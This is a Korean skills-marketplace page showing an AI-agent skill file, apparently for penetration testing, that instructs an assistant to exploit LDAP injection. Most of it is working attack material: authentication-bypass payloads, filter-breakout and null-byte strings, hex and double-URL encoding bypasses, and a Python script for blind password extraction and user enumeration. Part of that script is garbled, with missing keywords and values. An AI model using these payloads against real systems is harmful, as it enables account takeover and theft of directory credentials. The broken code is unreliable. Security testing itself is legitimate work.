소스 정보
- 저장소
- blacklanternsecurity/red-run
- 최근 소스 활동
- 2026년 3월 22일 09:19
- 감지된 SKILL.md 언어
- 영어
- 스타
- 263
- 포크
- 37
설치 방법
기본적으로 소스를 먼저 확인하는 Prompt가 선택됩니다. 직접 명령으로 전환하거나 로컬 사본을 다운로드할 수도 있습니다.
소스 파일 검토
설치 여부를 결정하기 전에 SKILL.md와 SkillsMP에 표시된 보조 파일을 읽어 보세요.
메뉴
기본적으로 소스를 먼저 확인하는 Prompt가 선택됩니다. 직접 명령으로 전환하거나 로컬 사본을 다운로드할 수도 있습니다.
설치 여부를 결정하기 전에 SKILL.md와 SkillsMP에 표시된 보조 파일을 읽어 보세요.
Codex 또는 Claude로 설치 이 Prompt를 복사해 Codex, Claude 또는 다른 어시스턴트에 붙여 넣으면 Skill 페이지를 검토하고 설치를 진행할 수 있습니다.
직접 명령은 검토 Prompt를 거치지 않습니다. 실행하기 전에 소스를 확인하세요.
npx skills add https://github.com/blacklanternsecurity/red-run --skill ldap-injection명령은 한 줄로 유지됩니다. 복사하기 전에 가로로 스크롤해 전체 내용을 확인하세요.
로컬 사본을 원하시나요? SkillsMP에서 현재 제공할 수 있는 파일을 다운로드하세요.
SOC 직업 분류 기준
SKILL.md 표시 중
| name | ldap-injection |
| description | Exploit LDAP injection vulnerabilities during authorized penetration testing. |
| keywords | ["ldap injection","ldap filter injection","ldap auth bypass","ldap wildcard","ldap blind extraction","ldap search injection","active directory login bypass","ldap enumeration via injection","ldap attribute extraction"] |
| tools | ["ldapsearch","burpsuite","curl"] |
| opsec | medium |
You are helping a penetration tester exploit LDAP injection vulnerabilities. The target application passes user-controlled input into LDAP search filters (RFC 4515) without proper sanitization. The goal is to bypass authentication, extract directory data, or enumerate users and attributes. All testing is under explicit written authorization.
Check for ./engagement/ directory. If absent, proceed without logging.
When an engagement directory exists:
[ldap-injection] Activated → <target> to the screen on activation.engagement/evidence/ with
descriptive filenames (e.g., sqli-users-dump.txt, ssrf-aws-creds.json).Call get_state_summary() from the state MCP server to read current
engagement state. Use it to:
Your return summary must include:
ldap_search, InvalidFilterException, Bad search filter,
javax.naming.directory, corporate intranet with directory-backed authUnderstanding filter structure is critical for crafting injection payloads.
RFC 4515 filter format:
(attribute=value) Simple match
(&(filter1)(filter2)) AND — both must match
(|(filter1)(filter2)) OR — either matches
(!(filter)) NOT — negation
(attribute=val*) Substring/wildcard match
(attribute>=value) Greater-or-equal
(attribute<=value) Less-or-equal
(attribute=*) Presence — attribute exists (any value)
Special characters (must be escaped in safe input):
* → \2a (wildcard)
( → \28 (open paren)
) → \29 (close paren)
\ → \5c (backslash)
NUL → \00 (null byte)
Common server-side filter templates (where injection occurs):
# Login — AND filter with uid + password
(&(uid=USER_INPUT)(userPassword=PASS_INPUT))
# Login — AD-style with sAMAccountName
(&(sAMAccountName=USER_INPUT)(userPassword=PASS_INPUT))
# Search — simple filter
(cn=SEARCH_INPUT)
# Search — OR filter
(|(cn=SEARCH_INPUT)(sn=SEARCH_INPUT))
# Group check
(&(objectClass=group)(cn=GROUP_INPUT))
# Address book lookup
(&(objectClass=person)(|(cn=INPUT)(mail=INPUT)))
Injection works by closing the current filter element and adding new conditions that change the query logic.
If not already provided, determine:
(&...), OR (|...), or simple (attr=...)?Inject into each input field and observe response changes:
* # Wildcard — if response changes, LDAP may be in play
)(cn=*))(|(cn=* # Filter breakout — triggers error if filter is parsed
\ # Backslash — may cause LDAP escape handling errors
Error fingerprints that confirm LDAP backend:
Bad search filter
Invalid filter
ldap_search
javax.naming.directory.InvalidSearchFilterException
LDAP error code 12
Inappropriate matching
NamingException
LdapErr: DSID-
If injecting * into a username field returns a valid login or different user,
LDAP injection is confirmed.
The most common LDAP injection target. The server constructs an AND filter
like (&(uid=INPUT)(userPassword=INPUT)) and checks if it returns a result.
If the password field is interpolated directly:
# Server filter: (&(uid=INPUT)(userPassword=INPUT))
# Inject * as password — matches any password value
Username: admin
Password: *
# Resulting filter: (&(uid=admin)(userPassword=*))
# Matches admin with ANY password
This is the simplest test — try it first.
Close the current attribute, inject a true condition, comment out the rest:
# Server filter: (&(uid=INPUT)(userPassword=INPUT))
# Inject into username — close uid, add always-true, null-byte to truncate
Username: admin)(&)
Password: anything
# Resulting filter: (&(uid=admin)(&))(userPassword=anything))
# (&) is always true in some implementations
# Inject into username — close uid, inject wildcard objectClass
Username: admin)(objectClass=*
Password: anything
# Resulting filter: (&(uid=admin)(objectClass=*)(userPassword=anything))
# objectClass=* is always true — but password still checked
# Best: close the entire AND, start a new always-true filter
Username: admin)(%00
Password: anything
# Resulting filter: (&(uid=admin)(\00)(userPassword=anything))
# Null byte may truncate the filter after uid=admin
If the filter uses OR (common in search forms):
# Server filter: (|(cn=INPUT)(sn=INPUT))
# Inject into first field to match everything
Input: *)(objectClass=*
# Resulting filter: (|(cn=*)(objectClass=*)(sn=INPUT))
# objectClass=* matches every entry in the directory
Try these against the username field (use any value for password):
*
admin*
*)(&
*)(|(&
admin)(&)
admin)(|(password=*
admin)(%26)
admin)(objectClass=*
admin))(|(uid=*
Try these against the password field (use admin or known username):
*
*)(&
*)(|(&
anything)(|(objectClass=*
If * in username returns the first matching user:
Username: * → logs in as first user in directory (often admin)
Username: a* → first user starting with 'a'
Username: admin* → matches 'admin', 'administrator', etc.
When injection works (response differs for match vs no-match) but data isn't directly reflected. Extract values character by character using wildcards.
# Test first character of admin's password
admin)(userPassword=a* → no match
admin)(userPassword=b* → no match
...
admin)(userPassword=s* → MATCH — first char is 's'
# Test second character
admin)(userPassword=sa* → no match
admin)(userPassword=sb* → no match
...
admin)(userPassword=se* → MATCH — second char is 'e'
# Continue until no wildcard matches
admin)(userPassword=secret → exact match confirms full value
#!/usr/bin/env python3
"""LDAP blind attribute extraction via wildcard injection."""
import requests
import string
import sys
import urllib.parse
URL = "http://TARGET/login"
USERNAME_FIELD = "username"
PASSWORD_FIELD = "password"
TARGET_USER = "admin"
# Charset — adjust based on target (AD passwords vs LDAP simple bind)
CHARSET = string.ascii_lowercase + string.digits + string.ascii_uppercase + "!@#$%^&*()-_=+"
# What indicates a successful match
SUCCESS_INDICATOR = "Welcome" # or check status code, response size, redirect
def check(payload_user, payload_pass):
"""Send login request, return True if match."""
data = {USERNAME_FIELD: payload_user, PASSWORD_FIELD: payload_pass}
r = requests.post(URL, data=data, allow_redirects=False)
return SUCCESS_INDICATOR in r.text or r.status_code == 302
def extract_attribute(target_user, attribute="userPassword"):
"""Extract attribute value character by character."""
extracted = ""
while True:
found = False
for c in CHARSET:
# Inject: admin)(userPassword=extracted+c*
payload = f"{target_user})({attribute}={extracted}{c}*"
if check(payload, ):
extracted += c
()
found =
found:
extracted
():
users = []
c string.ascii_lowercase + string.digits:
test = prefix + c
check(, ):
deeper = enumerate_users(test)
deeper:
users.extend(deeper)
:
users.append(test)
users prefix:
users.append(prefix)
users
__name__ == :
()
users = enumerate_users()
u users:
()
pwd = extract_attribute(u, )
()
Valuable attributes to extract via blind injection:
| Attribute | Value |
|---|---|
userPassword | Password (LDAP simple bind) |
description | Often contains notes, sometimes passwords — check early |
mail | Email address (phishing, password resets) |
telephoneNumber | Phone number (social engineering, MFA bypass) |
memberOf | Group memberships — identify Domain Admins, privileged groups |
sAMAccountName | AD username |
userPrincipalName | UPN — user@domain format |
uid | Unix/LDAP username |
adminCount | AD admin flag (1 = privileged account) |
servicePrincipalName | SPNs — Kerberoasting targets |
homeDirectory | Home path (may reveal OS info, network shares) |
sshPublicKey | SSH public key (OpenLDAP with openssh-lpk) |
pwdLastSet | Password age — find stale passwords |
userAccountControl | Account flags — find no-preauth (AS-REP roastable) |
Adapt the blind extraction script — change the attribute parameter:
# Extract email
admin)(mail=a*
admin)(mail=ab*
...
# Extract description
admin)(description=a*
...
# Check group membership
admin)(memberOf=CN=Domain Admins*
When you don't know which attributes exist, enumerate them using the presence
operator (attribute=*):
# Test if attribute exists for a user
admin)(mail=* → MATCH means mail attribute exists
admin)(telephoneNumber=* → no match means attribute not set
admin)(description=* → MATCH means description is populated
admin)(sshPublicKey=* → test for SSH key storage
Common attributes to probe:
uid, cn, sn, givenName, displayName, mail, userPassword,
telephoneNumber, mobile, description, title, department,
memberOf, sAMAccountName, userPrincipalName, homeDirectory,
loginShell, uidNumber, gidNumber, objectClass, sshPublicKey
Some LDAP libraries (especially older ones or those using C bindings) truncate the filter at a null byte:
# Server filter: (&(uid=INPUT)(userPassword=INPUT))
Username: admin)%00
Password: anything
# Resulting filter: (&(uid=admin)\00)(userPassword=anything))
# If truncated: (&(uid=admin) → matches admin regardless of password
Works on: older PHP ldap_search(), some Java JNDI implementations, C-based LDAP clients. Does NOT work on modern implementations that handle null bytes.
If the app filters * or ( but not hex escapes:
\2a → *
\28 → (
\29 → )
\5c → \
\00 → NUL
Example:
Username: admin\29\28objectClass=\2a
# Decoded: admin)(objectClass=*
If the app URL-decodes once but LDAP processes the second encoding:
%252a → %2a → *
%2528 → %28 → (
%2529 → %29 → )
Some apps pass headers to LDAP queries (X-Forwarded-For for logging, Authorization for LDAP bind):
X-Forwarded-User: admin)(objectClass=*
Authorization: Basic YWRtaW4pKG9iamVjdENsYXNzPSo=
# Base64 of: admin)(objectClass=*
In search contexts with OR filters, inject to return all entries:
# Server filter: (|(cn=INPUT)(sn=INPUT))
# Inject to match everything:
Input: *)(objectClass=*
# Result: (|(cn=*)(objectClass=*)(sn=INPUT))
# Returns every object in the search base
If the app displays results, this dumps the directory.
STOP and return to the orchestrator with:
*) are common in normal LDAP operations — low detection
risk for simple injection tests* — try hex encoding: \2abind() instead of compare() — bind
operations don't support wildcards. Try filter breakout instead.admin)(&) # Close + always-true AND
admin)(|(uid=*) # Close + always-true OR
admin))%00 # Close + null truncation
admin)(objectClass=*))(&)(|( # Balance all parens
(attribute=*) firstuserPassword
is often ACL-protected in production LDAP)( — if error mentions "unbalanced parentheses", it's a filter* alone — if behavior changes, wildcard matching is activeadmin)(&)(|( — if error, you're inside a complex filterImportant distinction:
(&(uid=INPUT)(userPassword=INPUT)) → injectableldap_bind(dn, password) → password is NOT in a filter,
only the DN construction may be injectable